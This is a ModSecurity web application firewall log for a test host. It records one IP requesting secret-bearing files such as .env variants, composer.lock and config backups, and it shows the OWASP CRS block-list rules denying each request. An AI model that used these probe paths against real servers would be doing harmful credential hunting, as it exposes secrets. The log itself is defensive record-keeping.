[Sun Jun 29 20:19:18.126473 2025] [:error] [pid 2967919] [client 185.177.72.107:37044] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/composer.lock&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /composer.lock found within REQUEST_FILENAME: /composer.lock&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/composer.lock&quot;] [unique_id &quot;aGGDpntTxOj9v32ojom56QAAAAE&quot;]
[Sun Jun 29 20:19:18.126823 2025] [:error] [pid 2967919] [client 185.177.72.107:37044] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/composer.lock&quot;] [unique_id &quot;aGGDpntTxOj9v32ojom56QAAAAE&quot;]
[Sun Jun 29 20:19:18.127112 2025] [:error] [pid 2967919] [client 185.177.72.107:37044] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/composer.lock&quot;] [unique_id &quot;aGGDpntTxOj9v32ojom56QAAAAE&quot;]
[Sun Jun 29 20:19:18.230085 2025] [:error] [pid 2967919] [client 185.177.72.107:37044] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /conf/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/conf/.env&quot;] [unique_id &quot;aGGDpntTxOj9v32ojom57AAAAAE&quot;]
[Sun Jun 29 20:19:18.230327 2025] [:error] [pid 2967919] [client 185.177.72.107:37044] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/conf/.env&quot;] [unique_id &quot;aGGDpntTxOj9v32ojom57AAAAAE&quot;]
[Sun Jun 29 20:19:18.230565 2025] [:error] [pid 2967919] [client 185.177.72.107:37044] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/conf/.env&quot;] [unique_id &quot;aGGDpntTxOj9v32ojom57AAAAAE&quot;]
[Sun Jun 29 20:19:18.282848 2025] [:error] [pid 2967919] [client 185.177.72.107:37044] [client 185.177.72.107] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config.bak&quot;] [unique_id &quot;aGGDpntTxOj9v32ojom57QAAAAE&quot;]
[Sun Jun 29 20:19:18.283200 2025] [:error] [pid 2967919] [client 185.177.72.107:37044] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config.bak&quot;] [unique_id &quot;aGGDpntTxOj9v32ojom57QAAAAE&quot;]
[Sun Jun 29 20:19:18.283396 2025] [:error] [pid 2967919] [client 185.177.72.107:37044] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config.bak&quot;] [unique_id &quot;aGGDpntTxOj9v32ojom57QAAAAE&quot;]
[Sun Jun 29 20:19:23.194159 2025] [:error] [pid 2967919] [client 185.177.72.107:37044] [client 185.177.72.107] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config.old&quot;] [unique_id &quot;aGGDq3tTxOj9v32ojom58gAAAAE&quot;]
[Sun Jun 29 20:19:23.194532 2025] [:error] [pid 2967919] [client 185.177.72.107:37044] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config.old&quot;] [unique_id &quot;aGGDq3tTxOj9v32ojom58gAAAAE&quot;]
[Sun Jun 29 20:19:23.194753 2025] [:error] [pid 2967919] [client 185.177.72.107:37044] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config.old&quot;] [unique_id &quot;aGGDq3tTxOj9v32ojom58gAAAAE&quot;]
[Sun Jun 29 20:19:23.239581 2025] [:error] [pid 2967919] [client 185.177.72.107:37044] [client 185.177.72.107] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config.php.bak&quot;] [unique_id &quot;aGGDq3tTxOj9v32ojom59AAAAAE&quot;]
[Sun Jun 29 20:19:23.240027 2025] [:error] [pid 2967919] [client 185.177.72.107:37044] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config.php.bak&quot;] [unique_id &quot;aGGDq3tTxOj9v32ojom59AAAAAE&quot;]
[Sun Jun 29 20:19:23.240313 2025] [:error] [pid 2967919] [client 185.177.72.107:37044] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config.php.bak&quot;] [unique_id &quot;aGGDq3tTxOj9v32ojom59AAAAAE&quot;]
[Sun Jun 29 20:19:23.262183 2025] [:error] [pid 2967919] [client 185.177.72.107:37044] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /config/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env&quot;] [unique_id &quot;aGGDq3tTxOj9v32ojom59QAAAAE&quot;]
[Sun Jun 29 20:19:23.262430 2025] [:error] [pid 2967919] [client 185.177.72.107:37044] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env&quot;] [unique_id &quot;aGGDq3tTxOj9v32ojom59QAAAAE&quot;]
[Sun Jun 29 20:19:23.262613 2025] [:error] [pid 2967919] [client 185.177.72.107:37044] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env&quot;] [unique_id &quot;aGGDq3tTxOj9v32ojom59QAAAAE&quot;]
[Sun Jun 29 20:19:23.284544 2025] [:error] [pid 2967919] [client 185.177.72.107:37044] [client 185.177.72.107] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env.bak&quot;] [unique_id &quot;aGGDq3tTxOj9v32ojom59gAAAAE&quot;]
[Sun Jun 29 20:19:23.284697 2025] [:error] [pid 2967919] [client 185.177.72.107:37044] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /config/.env.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env.bak&quot;] [unique_id &quot;aGGDq3tTxOj9v32ojom59gAAAAE&quot;]
[Sun Jun 29 20:19:23.284926 2025] [:error] [pid 2967919] [client 185.177.72.107:37044] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env.bak&quot;] [unique_id &quot;aGGDq3tTxOj9v32ojom59gAAAAE&quot;]
[Sun Jun 29 20:19:23.285105 2025] [:error] [pid 2967919] [client 185.177.72.107:37044] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env.bak&quot;] [unique_id &quot;aGGDq3tTxOj9v32ojom59gAAAAE&quot;]
[Sun Jun 29 20:19:23.321668 2025] [:error] [pid 2967919] [client 185.177.72.107:37044] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /config/.env.local&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env.local&quot;] [unique_id &quot;aGGDq3tTxOj9v32ojom59wAAAAE&quot;]
[Sun Jun 29 20:19:23.321933 2025] [:error] [pid 2967919] [client 185.177.72.107:37044] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env.local&quot;] [unique_id &quot;aGGDq3tTxOj9v32ojom59wAAAAE&quot;]
[Sun Jun 29 20:19:23.322110 2025] [:error] [pid 2967919] [client 185.177.72.107:37044] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env.local&quot;] [unique_id &quot;aGGDq3tTxOj9v32ojom59wAAAAE&quot;]
[Sun Jun 29 20:19:23.390716 2025] [:error] [pid 2967919] [client 185.177.72.107:37044] [client 185.177.72.107] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env.old&quot;] [unique_id &quot;aGGDq3tTxOj9v32ojom5-AAAAAE&quot;]
[Sun Jun 29 20:19:23.390873 2025] [:error] [pid 2967919] [client 185.177.72.107:37044] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /config/.env.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env.old&quot;] [unique_id &quot;aGGDq3tTxOj9v32ojom5-AAAAAE&quot;]
[Sun Jun 29 20:19:23.391104 2025] [:error] [pid 2967919] [client 185.177.72.107:37044] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env.old&quot;] [unique_id &quot;aGGDq3tTxOj9v32ojom5-AAAAAE&quot;]
[Sun Jun 29 20:19:23.391322 2025] [:error] [pid 2967919] [client 185.177.72.107:37044] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env.old&quot;] [unique_id &quot;aGGDq3tTxOj9v32ojom5-AAAAAE&quot;]
[Sun Jun 29 20:19:23.413589 2025] [:error] [pid 2967919] [client 185.177.72.107:37044] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /config/.env.save&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env.save&quot;] [unique_id &quot;aGGDq3tTxOj9v32ojom5-QAAAAE&quot;]
